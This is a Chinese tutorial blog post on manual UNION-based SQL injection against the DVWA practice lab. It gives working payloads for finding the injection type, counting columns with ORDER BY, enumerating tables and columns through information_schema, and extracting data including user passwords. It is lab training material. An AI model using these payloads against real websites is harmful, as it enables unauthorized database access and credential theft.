DVWA之Union注入

霸气de小男生 提交于 2020-02-18 23:56:06

Union注入

一、首先判断是数字型还是字符型

如果是数字型: 
1 and 1=1   #正常回显
1 and 1=2   #无显示或者页面报错
如果是字符型:
1' and '1'='1   #正常显示
1' and '1'='2    #无显示或者页面报错

可以看到无论是1=2还是1=1都是正常回显,说明不是数字型,是字符型。
在这里插入图片描述
在这里插入图片描述
二、使用order by查询出表的字段数量

1’ order by 2# 查询成功
在这里插入图片描述
1’ order by 3# 查询失败
在这里插入图片描述
三、两个字段数说明可以union select 1,2 ,在1或2处输入mysql查询语句,示例利用联合注入查询数据库名称、表、字段、字段数据。

1.获取数据库名,得到结果为:dvwa

1' union select 1,database() #

在这里插入图片描述

2.获取两个表名:guestbook,users

获取表名,用到limit,且查询语句要用括号括起来。limit 0,1意思是从第0个开始显示1个,例如limit 1,1就是显示第二个数据,以此循环类推。
1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1) #

在这里插入图片描述
在这里插入图片描述

3.获取字段名称

与获取表名类似,用limit循环得出全部字段名称,这里只展示两个
cmment_id字段:
1' union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' limit 0,1) #
comment字段:
1' union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' limit 1,1) #

在这里插入图片描述
在这里插入图片描述

4.获取字段数据:

这里带入的查询语句就比较简洁了,因为都列举出来了
示例:
1' union select 1,(select comment from dvwa.guestbook limit 0,1) #
1' union select 1,(select password from dvwa.users limit 0,1) #

在这里插入图片描述
在这里插入图片描述

观察得出规则大多通过控制 limit 来获取数据,可以根据此特点写联合注入的攻击脚本,多手工注入才会熟悉。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!